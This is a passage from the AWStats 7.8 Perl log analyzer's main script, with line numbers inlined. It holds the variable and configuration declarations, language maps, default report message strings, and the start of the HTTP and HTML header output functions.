1#!/usr/local/bin/perl 2#------------------------------------------------------------------------------ 3# Free realtime web server logfile analyzer to show advanced web statistics. 4# Works from command line or as a CGI. You must use this script as often as 5# necessary from your scheduler to update your statistics and from command 6# line or a browser to read report results. 7# See AWStats documentation (in docs/ directory) for all setup instructions. 8# 9# This program is free software; you can redistribute it and/or modify 10# it under the terms of the GNU General Public License as published by 11# the Free Software Foundation; either version 2 of the License, or 12# (at your option) any later version. 13# 14# This program is distributed in the hope that it will be useful, 15# but WITHOUT ANY WARRANTY; without even the implied warranty of 16# GNU General Public License for more details. 17# 18# You should have received a copy of the GNU General Public License 19# along with this program. If not, see <http://www.gnu.org/licenses/>. 20#------------------------------------------------------------------------------ 21require 5.007; 22 23#$|=1; 24#use warnings; # Must be used in test mode only. This reduce a little process speed 25#use diagnostics; # Must be used in test mode only. This reduce a lot of process speed 26use strict; 27no strict "refs"; 28use Time::Local 29 ; # use Time::Local 'timelocal_nocheck' is faster but not supported by all Time::Local modules 30use Socket; 31use Encode; 32use File::Spec; 33 34 35#------------------------------------------------------------------------------ 36# Defines 37#------------------------------------------------------------------------------ 38use vars qw/ $REVISION $VERSION /; 39$REVISION = '20200416'; 40$VERSION = "7.8 (build $REVISION)"; 41 42# ----- Constants ----- 43use vars qw/ 44 $DEBUGFORCED $NBOFLINESFORBENCHMARK $FRAMEWIDTH $NBOFLASTUPDATELOOKUPTOSAVE 45 $LIMITFLUSH $NEWDAYVISITTIMEOUT $VISITTIMEOUT $NOTSORTEDRECORDTOLERANCE 46 $WIDTHCOLICON $TOOLTIPON 47 $lastyearbeforeupdate $lastmonthbeforeupdate $lastdaybeforeupdate $lasthourbeforeupdate $lastdatebeforeupdate 48 $NOHTML 49 /; 50$DEBUGFORCED = 0 51 ; # Force debug level to log lesser level into debug.log file (Keep this value to 0) 52$NBOFLINESFORBENCHMARK = 8192 53 ; # Benchmark info are printing every NBOFLINESFORBENCHMARK lines (Must be a power of 2) 54$FRAMEWIDTH = 240; # Width of left frame when UseFramesWhenCGI is on 55$NBOFLASTUPDATELOOKUPTOSAVE = 56 500; # Nb of records to save in DNS last update cache file 57$LIMITFLUSH = 58 5000; # Nb of records in data arrays after how we need to flush data on disk 59$NEWDAYVISITTIMEOUT = 764041; # Delay between 01-23:59:59 and 02-00:00:00 60$VISITTIMEOUT = 10000 61 ; # Lapse of time to consider a page load as a new visit. 10000 = 1 hour (Default = 10000) 62$NOTSORTEDRECORDTOLERANCE = 20000 63 ; # Lapse of time to accept a record if not in correct order. 20000 = 2 hour (Default = 20000) 64$WIDTHCOLICON = 32; 65$TOOLTIPON = 0; # Tooltips plugin loaded 66$NOHTML = 0; # Suppress the html headers 67 68# ----- Running variables ----- 69use vars qw/ 70 $DIR $PROG $Extension 71 $Debug $ShowSteps 72 $DebugResetDone $DNSLookupAlreadyDone 73 $RunAsCli $UpdateFor $HeaderHTTPSent $HeaderHTMLSent 74 $LastLine $LastLineNumber $LastLineOffset $LastLineChecksum $LastUpdate 75 $lowerval 76 $PluginMode 77 $MetaRobot 78 $AverageVisits $AveragePages $AverageHits $AverageBytes 79 $TotalUnique $TotalVisits $TotalHostsKnown $TotalHostsUnknown 80 $TotalPages $TotalHits $TotalBytes $TotalHitsErrors 81 $TotalNotViewedPages $TotalNotViewedHits $TotalNotViewedBytes 82 $TotalEntries $TotalExits $TotalBytesPages $TotalDifferentPages 83 $TotalKeyphrases $TotalKeywords $TotalDifferentKeyphrases $TotalDifferentKeywords 84 $TotalSearchEnginesPages $TotalSearchEnginesHits $TotalRefererPages $TotalRefererHits $TotalDifferentSearchEngines $TotalDifferentReferer 85 $FrameName $Center $FileConfig $FileSuffix $Host $YearRequired $MonthRequired $DayRequired $HourRequired 86 $QueryString $SiteConfig $StaticLinks $PageCode $PageDir $PerlParsingFormat $UserAgent 87 $pos_vh $pos_host $pos_logname $pos_date $pos_tz $pos_method $pos_url $pos_code $pos_size 88 $pos_referer $pos_agent $pos_query $pos_gzipin $pos_gzipout $pos_compratio $pos_timetaken 89 $pos_cluster $pos_emails $pos_emailr $pos_hostr @pos_extra 90 /; 91$DIR = $PROG = $Extension = ''; 92$Debug = $ShowSteps = 0; 93$DebugResetDone = $DNSLookupAlreadyDone = 0; 94$RunAsCli = $UpdateFor = $HeaderHTTPSent = $HeaderHTMLSent = 0; 95$LastLine = $LastLineNumber = $LastLineOffset = $LastLineChecksum = 0; 96$LastUpdate = 0; 97$lowerval = 0; 98$PluginMode = ''; 99$MetaRobot = 0; 100$AverageVisits = $AveragePages = $AverageHits = $AverageBytes = 0; 101$TotalUnique = $TotalVisits = $TotalHostsKnown = $TotalHostsUnknown = 0; 102$TotalPages = $TotalHits = $TotalBytes = $TotalHitsErrors = 0; 103$TotalNotViewedPages = $TotalNotViewedHits = $TotalNotViewedBytes = 0; 104$TotalEntries = $TotalExits = $TotalBytesPages = $TotalDifferentPages = 0; 105$TotalKeyphrases = $TotalKeywords = $TotalDifferentKeyphrases = 0; 106$TotalDifferentKeywords = 0; 107$TotalSearchEnginesPages = $TotalSearchEnginesHits = $TotalRefererPages = 0; 108$TotalRefererHits = $TotalDifferentSearchEngines = $TotalDifferentReferer = 0; 109( 110 $FrameName, $Center, $FileConfig, $FileSuffix, 111 $Host, $YearRequired, $MonthRequired, $DayRequired, 112 $HourRequired, $QueryString, $SiteConfig, $StaticLinks, 113 $PageCode, $PageDir, $PerlParsingFormat, $UserAgent 114 ) 115 = ( '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '' ); 116 117# ----- Plugins variable ----- 118use vars qw/ %PluginsLoaded $PluginDir $AtLeastOneSectionPlugin /; 119%PluginsLoaded = (); 120$PluginDir = ''; 121$AtLeastOneSectionPlugin = 0; 122 123# ----- Time vars ----- 124use vars qw/ 125 $starttime 126 $nowtime $tomorrowtime 127 $nowweekofmonth $nowweekofyear $nowdaymod $nowsmallyear 128 $nowsec $nowmin $nowhour $nowday $nowmonth $nowyear $nowwday $nowyday $nowns 129 $StartSeconds $StartMicroseconds 130 /; 131$StartSeconds = $StartMicroseconds = 0; 132 133# ----- Variables for config file reading ----- 134use vars qw/ 135 $FoundNotPageList 136 /; 137$FoundNotPageList = 0; 138 139# ----- Config file variables ----- 140use vars qw/ 141 $StaticExt 142 $DNSStaticCacheFile 143 $DNSLastUpdateCacheFile 144 $MiscTrackerUrl 145 $Lang 146 $MaxRowsInHTMLOutput 147 $MaxLengthOfShownURL 148 $MaxLengthOfStoredURL 149 $MaxLengthOfStoredUA 150 %BarPng 151 $BuildReportFormat 152 $BuildHistoryFormat 153 $ExtraTrackedRowsLimit 154 $DatabaseBreak 155 $SectionsToBeSaved 156 /; 157$StaticExt = 'html'; 158$DNSStaticCacheFile = 'dnscache.txt'; 159$DNSLastUpdateCacheFile = 'dnscachelastupdate.txt'; 160$MiscTrackerUrl = '/js/awstats_misc_tracker.js'; 161$Lang = 'auto'; 162$SectionsToBeSaved = 'all'; 163$MaxRowsInHTMLOutput = 1000; 164$MaxLengthOfShownURL = 64; 165$MaxLengthOfStoredURL = 256; # Note: Apache LimitRequestLine is default to 8190 166$MaxLengthOfStoredUA = 256; 167%BarPng = ( 168 'vv' => 'vv.png', 169 'vu' => 'vu.png', 170 'hu' => 'hu.png', 171 'vp' => 'vp.png', 172 'hp' => 'hp.png', 173 'he' => 'he.png', 174 'hx' => 'hx.png', 175 'vh' => 'vh.png', 176 'hh' => 'hh.png', 177 'vk' => 'vk.png', 178 'hk' => 'hk.png' 179); 180$BuildReportFormat = 'html'; 181$BuildHistoryFormat = 'text'; 182$ExtraTrackedRowsLimit = 500; 183$DatabaseBreak = 'month'; 184use vars qw/ 185 $DebugMessages $AllowToUpdateStatsFromBrowser $EnableLockForUpdate $DNSLookup $DynamicDNSLookup $AllowAccessFromWebToAuthenticatedUsersOnly 186 $BarHeight $BarWidth $CreateDirDataIfNotExists $KeepBackupOfHistoricFiles 187 $NbOfLinesParsed $NbOfLinesDropped $NbOfLinesCorrupted $NbOfLinesComment $NbOfLinesBlank $NbOfOldLines $NbOfNewLines 188 $NbOfLinesShowsteps $NewLinePhase $NbOfLinesForCorruptedLog $PurgeLogFile $ArchiveLogRecords 189 $ShowDropped $ShowCorrupted $ShowUnknownOrigin $ShowDirectOrigin $ShowLinksToWhoIs 190 $ShowAuthenticatedUsers $ShowFileSizesStats $ShowScreenSizeStats $ShowSMTPErrorsStats 191 $ShowEMailSenders $ShowEMailReceivers $ShowWormsStats $ShowClusterStats 192 $IncludeInternalLinksInOriginSection 193 $AuthenticatedUsersNotCaseSensitive 194 $Expires $UpdateStats $MigrateStats $URLNotCaseSensitive $URLWithQuery $URLReferrerWithQuery 195 $DecodeUA $DecodePunycode 196 /; 197( 198 $DebugMessages, 199 $AllowToUpdateStatsFromBrowser, 200 $EnableLockForUpdate, 201 $DNSLookup, 202 $DynamicDNSLookup, 203 $AllowAccessFromWebToAuthenticatedUsersOnly, 204 $BarHeight, 205 $BarWidth, 206 $CreateDirDataIfNotExists, 207 $KeepBackupOfHistoricFiles, 208 $NbOfLinesParsed, 209 $NbOfLinesDropped, 210 $NbOfLinesCorrupted, 211 $NbOfLinesComment, 212 $NbOfLinesBlank, 213 $NbOfOldLines, 214 $NbOfNewLines, 215 $NbOfLinesShowsteps, 216 $NewLinePhase, 217 $NbOfLinesForCorruptedLog, 218 $PurgeLogFile, 219 $ArchiveLogRecords, 220 $ShowDropped, 221 $ShowCorrupted, 222 $ShowUnknownOrigin, 223 $ShowDirectOrigin, 224 $ShowLinksToWhoIs, 225 $ShowAuthenticatedUsers, 226 $ShowFileSizesStats, 227 $ShowScreenSizeStats, 228 $ShowSMTPErrorsStats, 229 $ShowEMailSenders, 230 $ShowEMailReceivers, 231 $ShowWormsStats, 232 $ShowClusterStats, 233 $IncludeInternalLinksInOriginSection, 234 $AuthenticatedUsersNotCaseSensitive, 235 $Expires, 236 $UpdateStats, 237 $MigrateStats, 238 $URLNotCaseSensitive, 239 $URLWithQuery, 240 $URLReferrerWithQuery, 241 $DecodeUA, 242 $DecodePunycode 243 ) 244 = ( 245 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 246 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 247 ); 248use vars qw/ 249 $DetailedReportsOnNewWindows 250 $FirstDayOfWeek $KeyWordsNotSensitive $SaveDatabaseFilesWithPermissionsForEveryone 251 $WarningMessages $ShowLinksOnUrl $UseFramesWhenCGI 252 $ShowMenu $ShowSummary $ShowMonthStats $ShowDaysOfMonthStats $ShowDaysOfWeekStats 253 $ShowHoursStats $ShowDomainsStats $ShowHostsStats 254 $ShowRobotsStats $ShowSessionsStats $ShowPagesStats $ShowFileTypesStats $ShowDownloadsStats 255 $ShowOSStats $ShowBrowsersStats $ShowOriginStats 256 $ShowKeyphrasesStats $ShowKeywordsStats $ShowMiscStats $ShowHTTPErrorsStats $ShowHTTPErrorsPageDetail 257 $AddDataArrayMonthStats $AddDataArrayShowDaysOfMonthStats $AddDataArrayShowDaysOfWeekStats $AddDataArrayShowHoursStats 258 /; 259( 260 $DetailedReportsOnNewWindows, 261 $FirstDayOfWeek, 262 $KeyWordsNotSensitive, 263 $SaveDatabaseFilesWithPermissionsForEveryone, 264 $WarningMessages, 265 $ShowLinksOnUrl, 266 $UseFramesWhenCGI, 267 $ShowMenu, 268 $ShowSummary, 269 $ShowMonthStats, 270 $ShowDaysOfMonthStats, 271 $ShowDaysOfWeekStats, 272 $ShowHoursStats, 273 $ShowDomainsStats, 274 $ShowHostsStats, 275 $ShowRobotsStats, 276 $ShowSessionsStats, 277 $ShowPagesStats, 278 $ShowFileTypesStats, 279 $ShowDownloadsStats, 280 $ShowOSStats, 281 $ShowBrowsersStats, 282 $ShowOriginStats, 283 $ShowKeyphrasesStats, 284 $ShowKeywordsStats, 285 $ShowMiscStats, 286 $ShowHTTPErrorsStats, 287 $ShowHTTPErrorsPageDetail, 288 $AddDataArrayMonthStats, 289 $AddDataArrayShowDaysOfMonthStats, 290 $AddDataArrayShowDaysOfWeekStats, 291 $AddDataArrayShowHoursStats 292 ) 293 = ( 294 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 295 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 296 ); 297use vars qw/ 298 $AllowFullYearView 299 $LevelForRobotsDetection $LevelForWormsDetection $LevelForBrowsersDetection $LevelForOSDetection $LevelForRefererAnalyze 300 $LevelForFileTypesDetection $LevelForSearchEnginesDetection $LevelForKeywordsDetection 301 /; 302( 303 $AllowFullYearView, $LevelForRobotsDetection, 304 $LevelForWormsDetection, $LevelForBrowsersDetection, 305 $LevelForOSDetection, $LevelForRefererAnalyze, 306 $LevelForFileTypesDetection, $LevelForSearchEnginesDetection, 307 $LevelForKeywordsDetection 308 ) 309 = ( 2, 2, 0, 2, 2, 2, 2, 2, 2 ); 310use vars qw/ 311 $DirLock $DirCgi $DirConfig $DirData $DirIcons $DirLang $AWScript $ArchiveFileName 312 $AllowAccessFromWebToFollowingIPAddresses $HTMLHeadSection $HTMLEndSection $LinksToWhoIs $LinksToIPWhoIs 313 $LogFile $LogType $LogFormat $LogSeparator $Logo $LogoLink $StyleSheet $WrapperScript $SiteDomain 314 $UseHTTPSLinkForUrl $URLQuerySeparators $URLWithAnchor $ErrorMessages $ShowFlagLinks 315 $AddLinkToExternalCGIWrapper 316 /; 317( 318 $DirLock, $DirCgi, 319 $DirConfig, $DirData, 320 $DirIcons, $DirLang, 321 $AWScript, $ArchiveFileName, 322 $AllowAccessFromWebToFollowingIPAddresses, $HTMLHeadSection, 323 $HTMLEndSection, $LinksToWhoIs, 324 $LinksToIPWhoIs, $LogFile, 325 $LogType, $LogFormat, 326 $LogSeparator, $Logo, 327 $LogoLink, $StyleSheet, 328 $WrapperScript, $SiteDomain, 329 $UseHTTPSLinkForUrl, $URLQuerySeparators, 330 $URLWithAnchor, $ErrorMessages, 331 $ShowFlagLinks, $AddLinkToExternalCGIWrapper 332 ) 333 = ( 334 '', '', '', '', '', '', '', '', '', '', '', '', '', '', 335 '', '', '', '', '', '', '', '', '', '', '', '', '', '', '' 336 ); 337use vars qw/ 338 $color_Background $color_TableBG $color_TableBGRowTitle 339 $color_TableBGTitle $color_TableBorder $color_TableRowTitle $color_TableTitle 340 $color_text $color_textpercent $color_titletext $color_weekend $color_link $color_hover $color_other 341 $color_h $color_k $color_p $color_e $color_x $color_s $color_u $color_v 342 /; 343( 344 $color_Background, $color_TableBG, $color_TableBGRowTitle, 345 $color_TableBGTitle, $color_TableBorder, $color_TableRowTitle, 346 $color_TableTitle, $color_text, $color_textpercent, 347 $color_titletext, $color_weekend, $color_link, 348 $color_hover, $color_other, $color_h, 349 $color_k, $color_p, $color_e, 350 $color_x, $color_s, $color_u, 351 $color_v 352 ) 353 = ( 354 '', '', '', '', '', '', '', '', '', '', '', '', 355 '', '', '', '', '', '', '', '', '', '' 356 ); 357 358# ---------- Init arrays -------- 359use vars qw/ 360 @RobotsSearchIDOrder_list1 @RobotsSearchIDOrder_list2 @RobotsSearchIDOrder_listgen 361 @SearchEnginesSearchIDOrder_list1 @SearchEnginesSearchIDOrder_list2 @SearchEnginesSearchIDOrder_listgen 362 @BrowsersSearchIDOrder @OSSearchIDOrder @WordsToCleanSearchUrl 363 @WormsSearchIDOrder 364 @RobotsSearchIDOrder @SearchEnginesSearchIDOrder 365 @_from_p @_from_h 366 @_time_p @_time_h @_time_k @_time_nv_p @_time_nv_h @_time_nv_k 367 @DOWIndex @fieldlib @keylist 368 /; 369@RobotsSearchIDOrder = @SearchEnginesSearchIDOrder = (); 370@_from_p = @_from_h = (); 371@_time_p = @_time_h = @_time_k = @_time_nv_p = @_time_nv_h = @_time_nv_k = (); 372@DOWIndex = @fieldlib = @keylist = (); 373use vars qw/ 374 @MiscListOrder %MiscListCalc 375 %OSFamily %BrowsersFamily @SessionsRange %SessionsAverage 376 %LangBrowserToLangAwstats %LangAWStatsToFlagAwstats %BrowsersSafariBuildToVersionHash 377 @HostAliases @AllowAccessFromWebToFollowingAuthenticatedUsers 378 @DefaultFile @SkipDNSLookupFor 379 @SkipHosts @SkipUserAgents @SkipFiles @SkipReferrers @NotPageFiles 380 @OnlyHosts @OnlyUserAgents @OnlyFiles @OnlyUsers 381 @URLWithQueryWithOnly @URLWithQueryWithout 382 @ExtraName @ExtraCondition @ExtraStatTypes @MaxNbOfExtra @MinHitExtra 383 @ExtraFirstColumnTitle @ExtraFirstColumnValues @ExtraFirstColumnFunction @ExtraFirstColumnFormat 384 @ExtraCodeFilter @ExtraConditionType @ExtraConditionTypeVal 385 @ExtraFirstColumnValuesType @ExtraFirstColumnValuesTypeVal 386 @ExtraAddAverageRow @ExtraAddSumRow 387 @PluginsToLoad 388 /; 389@MiscListOrder = ( 390 'AddToFavourites', 'JavascriptDisabled', 391 'JavaEnabled', 'DirectorSupport', 392 'FlashSupport', 'RealPlayerSupport', 393 'QuickTimeSupport', 'WindowsMediaPlayerSupport', 394 'PDFSupport' 395); 396%MiscListCalc = ( 397 'TotalMisc' => '', 398 'AddToFavourites' => 'u', 399 'JavascriptDisabled' => 'hm', 400 'JavaEnabled' => 'hm', 401 'DirectorSupport' => 'hm', 402 'FlashSupport' => 'hm', 403 'RealPlayerSupport' => 'hm', 404 'QuickTimeSupport' => 'hm', 405 'WindowsMediaPlayerSupport' => 'hm', 406 'PDFSupport' => 'hm' 407); 408@SessionsRange = 409 ( '0s-30s', '30s-2mn', '2mn-5mn', '5mn-15mn', '15mn-30mn', '30mn-1h', '1h+' ); 410%SessionsAverage = ( 411 '0s-30s', 15, '30s-2mn', 75, '2mn-5mn', 210, 412 '5mn-15mn', 600, '15mn-30mn', 1350, '30mn-1h', 2700, 413 '1h+', 3600 414); 415 416# HTTP-Accept or Lang parameter => AWStats code to use for lang 417# ISO-639-1 or 2 or other => awstats-xx.txt where xx is ISO-639-1 418%LangBrowserToLangAwstats = ( 419 'sq' => 'al', 420 'ar' => 'ar', 421 'ba' => 'ba', 422 'bg' => 'bg', 423 'zh-tw' => 'tw', 424 'zh' => 'cn', 425 'cs' => 'cz', 426 'de' => 'de', 427 'da' => 'dk', 428 'en' => 'en', 429 'et' => 'et', 430 'fi' => 'fi', 431 'fr' => 'fr', 432 'gl' => 'gl', 433 'es' => 'es', 434 'eu' => 'eu', 435 'ca' => 'ca', 436 'el' => 'gr', 437 'hu' => 'hu', 438 'is' => 'is', 439 'in' => 'id', 440 'it' => 'it', 441 'ja' => 'jp', 442 'kr' => 'ko', 443 'lv' => 'lv', 444 'nl' => 'nl', 445 'no' => 'nb', 446 'nb' => 'nb', 447 'nn' => 'nn', 448 'pl' => 'pl', 449 'pt' => 'pt', 450 'pt-br' => 'br', 451 'ro' => 'ro', 452 'ru' => 'ru', 453 'sr' => 'sr', 454 'sk' => 'sk', 455 'sv' => 'se', 456 'th' => 'th', 457 'tr' => 'tr', 458 'uk' => 'ua', 459 'cy' => 'cy', 460 'wlk' => 'cy' 461); 462%LangAWStatsToFlagAwstats = 463 ( # If flag (country ISO-3166 two letters) is not same than AWStats Lang code 464 'ca' => 'es_cat', 465 'et' => 'ee', 466 'eu' => 'es_eu', 467 'cy' => 'wlk', 468 'gl' => 'glg', 469 'he' => 'il', 470 'ko' => 'kr', 471 'ar' => 'sa', 472 'sr' => 'cs' 473 ); 474 475@HostAliases = @AllowAccessFromWebToFollowingAuthenticatedUsers = (); 476@DefaultFile = @SkipDNSLookupFor = (); 477@SkipHosts = @SkipUserAgents = @NotPageFiles = @SkipFiles = @SkipReferrers = (); 478@OnlyHosts = @OnlyUserAgents = @OnlyFiles = @OnlyUsers = (); 479@URLWithQueryWithOnly = @URLWithQueryWithout = (); 480@ExtraName = @ExtraCondition = @ExtraStatTypes = (); 481@MaxNbOfExtra = @MinHitExtra = (); 482@ExtraFirstColumnTitle = @ExtraFirstColumnValues = (); 483@ExtraFirstColumnFunction = @ExtraFirstColumnFormat = (); 484@ExtraCodeFilter = @ExtraConditionType = @ExtraConditionTypeVal = (); 485@ExtraFirstColumnValuesType = @ExtraFirstColumnValuesTypeVal = (); 486@ExtraAddAverageRow = @ExtraAddSumRow = (); 487@PluginsToLoad = (); 488 489# ---------- Init hash arrays -------- 490use vars qw/ 491 %BrowsersHashIDLib %BrowsersHashIcon %BrowsersHereAreGrabbers 492 %DomainsHashIDLib 493 %MimeHashLib %MimeHashFamily 494 %OSHashID %OSHashLib 495 %RobotsHashIDLib %RobotsAffiliateLib 496 %SearchEnginesHashID %SearchEnginesHashLib %SearchEnginesWithKeysNotInQuery %SearchEnginesKnownUrl %NotSearchEnginesKeys 497 %WormsHashID %WormsHashLib %WormsHashTarget 498 /; 499use vars qw/ 500 %HTMLOutput %NoLoadPlugin %FilterIn %FilterEx 501 %BadFormatWarning 502 %MonthNumLib 503 %ValidHTTPCodes %ValidSMTPCodes 504 %TrapInfosForHTTPErrorCodes %NotPageList %DayBytes %DayHits %DayPages %DayVisits 505 %MaxNbOf %MinHit 506 %ListOfYears %HistoryAlreadyFlushed %PosInFile %ValueInFile 507 %val %nextval %egal 508 %TmpDNSLookup %TmpOS %TmpRefererServer %TmpRobot %TmpBrowser %MyDNSTable 509 /; 510%HTMLOutput = %NoLoadPlugin = %FilterIn = %FilterEx = (); 511%BadFormatWarning = (); 512%MonthNumLib = (); 513%ValidHTTPCodes = %ValidSMTPCodes = (); 514%TrapInfosForHTTPErrorCodes = (); 515%NotPageList = (); 516%DayBytes = %DayHits = %DayPages = %DayVisits = (); 517%MaxNbOf = %MinHit = (); 518%ListOfYears = %HistoryAlreadyFlushed = %PosInFile = %ValueInFile = (); 519%val = %nextval = %egal = (); 520%TmpDNSLookup = %TmpOS = %TmpRefererServer = %TmpRobot = %TmpBrowser = (); 521%MyDNSTable = (); 522use vars qw/ 523 %FirstTime %LastTime 524 %MonthHostsKnown %MonthHostsUnknown 525 %MonthUnique %MonthVisits 526 %MonthPages %MonthHits %MonthBytes 527 %MonthNotViewedPages %MonthNotViewedHits %MonthNotViewedBytes 528 %_session %_browser_h %_browser_p 529 %_domener_p %_domener_h %_domener_k %_errors_h %_errors_k 530 %_filetypes_h %_filetypes_k %_filetypes_gz_in %_filetypes_gz_out 531 %_host_p %_host_h %_host_k %_host_l %_host_s %_host_u 532 %_waithost_e %_waithost_l %_waithost_s %_waithost_u 533 %_keyphrases %_keywords %_os_h %_os_p %_pagesrefs_p %_pagesrefs_h %_robot_h %_robot_k %_robot_l %_robot_r 534 %_worm_h %_worm_k %_worm_l %_login_h %_login_p %_login_k %_login_l %_screensize_h 535 %_misc_p %_misc_h %_misc_k 536 %_cluster_p %_cluster_h %_cluster_k 537 %_se_referrals_p %_se_referrals_h %_sider_h %_referer_h %_err_host_h %_url_p %_url_k %_url_e %_url_x 538 %_downloads 539 %_unknownreferer_l %_unknownrefererbrowser_l 540 %_emails_h %_emails_k %_emails_l %_emailr_h %_emailr_k %_emailr_l 541 /; 542&Init_HashArray(); 543 544# ---------- Init Regex -------- 545use vars qw/ $regclean1 $regclean2 $regdate /; 546$regclean1 = qr/<(recnb|\/td)>/i; 547$regclean2 = qr/<\/?[^<>]+>/i; 548$regdate = qr/(\d\d\d\d)(\d\d)(\d\d)(\d\d)(\d\d)(\d\d)/; 549 550# ---------- Init Tie::hash arrays -------- 551# Didn't find a tie that increase speed 552#use Tie::StdHash; 553#use Tie::Cache::LRU; 554#tie %_host_p, 'Tie::StdHash'; 555#tie %TmpOS, 'Tie::Cache::LRU'; 556 557# PROTOCOL CODES 558use vars qw/ %httpcodelib %ftpcodelib %smtpcodelib /; 559 560# DEFAULT MESSAGE 561use vars qw/ @Message /; 562@Message = ( 563 'Unknown', 564 'Unknown (unresolved ip)', 565 'Others', 566 'View details', 567 'Day', 568 'Month', 569 'Year', 570 'Statistics for', 571 'First visit', 572 'Last visit', 573 'Number of visits', 574 'Unique visitors', 575 'Visit', 576 'different keywords', 577 'Search', 578 'Percent', 579 'Traffic', 580 'Domains/Countries', 581 'Visitors', 582 'Pages-URL', 583 'Hours', 584 'Browsers', 585 '', 586 'Referers', 587 'Never updated (See \'Build/Update\' on awstats_setup.html page)', 588 'Visitors domains/countries', 589 'hosts', 590 'pages', 591 'different pages-url', 592 'Viewed', 593 'Other words', 594 'Pages not found', 595 'HTTP Error codes', 596 'Netscape versions', 597 'IE versions', 598 'Last Update', 599 'Connect to site from', 600 'Origin', 601 'Direct address / Bookmarks', 602 'Origin unknown', 603 'Links from an Internet Search Engine', 604 'Links from an external page (other web sites except search engines)', 605 'Links from an internal page (other page on same site)', 606 'Keyphrases used on search engines', 607 'Keywords used on search engines', 608 'Unresolved IP Address', 609 'Unknown OS (Referer field)', 610 'Required but not found URLs (HTTP code 404)', 611 'IP Address', 612 'Error Hits', 613 'Unknown browsers (Referer field)', 614 'different robots', 615 'visits/visitor', 616 'Robots/Spiders visitors', 617 'Free realtime logfile analyzer for advanced web statistics', 618 'of', 619 'Pages', 620 'Hits', 621 'Versions', 622 'Operating Systems', 623 'Jan', 624 'Feb', 625 'Mar', 626 'Apr', 627 'May', 628 'Jun', 629 'Jul', 630 'Aug', 631 'Sep', 632 'Oct', 633 'Nov', 634 'Dec', 635 'Navigation', 636 'File type', 637 'Update now', 638 'Bandwidth', 639 'Back to main page', 640 'Top', 641 'dd mmm yyyy - HH:MM', 642 'Filter', 643 'Full list', 644 'Hosts', 645 'Known', 646 'Robots', 647 'Sun', 648 'Mon', 649 'Tue', 650 'Wed', 651 'Thu', 652 'Fri', 653 'Sat', 654 'Days of week', 655 'Who', 656 'When', 657 'Authenticated users', 658 'Min', 659 'Average', 660 'Max', 661 'Web compression', 662 'Bandwidth saved', 663 'Compression on', 664 'Compression result', 665 'Total', 666 'different keyphrases', 667 'Entry', 668 'Code', 669 'Average size', 670 'Links from a NewsGroup', 671 'KB', 672 'MB', 673 'GB', 674 'Grabber', 675 'Yes', 676 'No', 677 'Info.', 678 'OK', 679 'Exit', 680 'Visits duration', 681 'Close window', 682 'Bytes', 683 'Search Keyphrases', 684 'Search Keywords', 685 'different refering search engines', 686 'different refering sites', 687 'Other phrases', 688 'Other logins (and/or anonymous users)', 689 'Refering search engines', 690 'Refering sites', 691 'Summary', 692 'Exact value not available in "Year" view', 693 'Data value arrays', 694 'Sender EMail', 695 'Receiver EMail', 696 'Reported period', 697 'Extra/Marketing', 698 'Screen sizes', 699 'Worm/Virus attacks', 700 'Hit on favorite icon', 701 'Days of month', 702 'Miscellaneous', 703 'Browsers with Java support', 704 'Browsers with Macromedia Director Support', 705 'Browsers with Flash Support', 706 'Browsers with Real audio playing support', 707 'Browsers with Quictime audio playing support', 708 'Browsers with Windows Media audio playing support', 709 'Browsers with PDF support', 710 'SMTP Error codes', 711 'Countries', 712 'Mails', 713 'Size', 714 'First', 715 'Last', 716 'Exclude filter', 717'Codes shown here gave hits or traffic "not viewed" by visitors, so they are not included in other charts.', 718 'Cluster', 719'Robots shown here gave hits or traffic "not viewed" by visitors, so they are not included in other charts.', 720 'Numbers after + are successful hits on "robots.txt" files', 721'Worms shown here gave hits or traffic "not viewed" by visitors, so thay are not included in other charts.', 722'Not viewed traffic includes traffic generated by robots, worms, or replies with special HTTP status codes.', 723 'Traffic viewed', 724 'Traffic not viewed', 725 'Monthly history', 726 'Worms', 727 'different worms', 728 'Mails successfully sent', 729 'Mails failed/refused', 730 'Sensitive targets', 731 'Javascript disabled', 732 'Created by', 733 'plugins', 734 'Regions', 735 'Cities', 736 'Opera versions', 737 'Safari versions', 738 'Chrome versions', 739 'Konqueror versions', 740 ',', 741 'Downloads', 742 'Export CSV' 743); 744 745#------------------------------------------------------------------------------ 746# Functions 747#------------------------------------------------------------------------------ 748 749# Function to solve pb with openvms 750sub file_filt (@) { 751 my @retval; 752 foreach my $fl (@_) { 753 $fl =~ tr/^//d; 754 push @retval, $fl; 755 } 756 return sort @retval; 757} 758 759#------------------------------------------------------------------------------ 760# Function: Write on output header of HTTP answer 761# Parameters: None 762# Input: $HeaderHTTPSent $BuildReportFormat $PageCode $Expires 763# Output: $HeaderHTTPSent=1 764# Return: None 765#------------------------------------------------------------------------------ 766sub http_head { 767 if ( !$HeaderHTTPSent ) { 768 my $newpagecode = $PageCode ? $PageCode : "utf-8"; 769 if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' ) { 770 print( $ENV{'HTTP_USER_AGENT'} =~ /MSIE|Googlebot/i 771 ? "Content-type: text/html; charset=$newpagecode\n" 772 : "Content-type: text/xml; charset=$newpagecode\n" 773 ); 774 } 775 else { print "Content-type: text/html; charset=$newpagecode\n"; } 776 777# Expires must be GMT ANSI asctime and must be after Content-type to avoid pb with some servers (SAMBAR) 778 if ( $Expires =~ /^\d+$/ ) { 779 print "Cache-Control: public\n"; 780 print "Last-Modified: " . gmtime($starttime) . "\n"; 781 print "Expires: " . ( gmtime( $starttime + $Expires ) ) . "\n"; 782 } 783 print "\n"; 784 } 785 $HeaderHTTPSent++; 786} 787 788#------------------------------------------------------------------------------ 789# Function: Write on output header of HTML page 790# Parameters: None 791# Input: %HTMLOutput $PluginMode $Expires $Lang $StyleSheet $HTMLHeadSection $PageCode $PageDir 792# Output: $HeaderHTMLSent=1 793# Return: None 794#------------------------------------------------------------------------------ 795sub html_head { 796 my $dir = $PageDir ? 'right' : 'left'; 797 if ($NOHTML) { return; } 798 if ( scalar keys %HTMLOutput || $PluginMode ) { 799 my $periodtitle = " ($YearRequired"; 800 $periodtitle .= ( $MonthRequired ne 'all' ? "-$MonthRequired" : "" ); 